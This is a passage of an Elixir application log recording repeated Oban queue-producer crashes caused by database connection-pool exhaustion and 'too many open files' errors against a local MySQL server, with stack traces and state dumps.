    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:41:55.240877Z], limit: 20, uuid: "86ee58a6-c996-4332-8797-652a7a7409ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:55.240883Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.25858>, refresh_timer: #Reference<0.2525715032.1099431938.25857>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:41:55.239899Z], limit: 3, uuid: "d47ff522-2d7f-4f78-a4c8-d2904a467f5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:55.239904Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25036>, refresh_timer: #Reference<0.2525715032.1077411843.258701>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:41:55.239649Z], limit: 5, uuid: "62215075-3d5c-49b2-8141-269305a8fd10", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:55.239654Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25033>, refresh_timer: #Reference<0.2525715032.1099431938.25852>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:41:55.239792Z], limit: 5, uuid: "920161e8-7d66-42cd-bd85-231d7df93996", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:55.239797Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25032>, refresh_timer: #Reference<0.2525715032.1068498948.25009>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:41:55.239454Z], limit: 10, uuid: "18beddaf-7f88-4cc3-b110-9de1e0c5423c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:55.239461Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25034>, refresh_timer: #Reference<0.2525715032.1077411843.258690>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:41:55.239718Z], limit: 50, uuid: "44950ada-c43a-43d6-b753-bdd18c9b13ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:55.239724Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25035>, refresh_timer: #Reference<0.2525715032.1077411843.258693>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:10.266000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:10.645000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:11.268000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:13.239000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:13.309000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:16.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:42:07.239892Z], limit: 10, uuid: "975922ca-200a-45d4-9914-fd2ae00d7e26", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:07.239897Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25219>, refresh_timer: #Reference<0.2525715032.1068498948.25207>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:42:07.238636Z], limit: 3, uuid: "161eb527-e998-4eb9-ada3-297af3409a28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:07.238642Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.26193>, refresh_timer: #Reference<0.2525715032.1077411843.258790>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:42:07.238636Z], limit: 20, uuid: "0239d922-4f8e-4b28-ac32-a549f8261132", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:07.238642Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25218>, refresh_timer: #Reference<0.2525715032.1068498948.25181>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
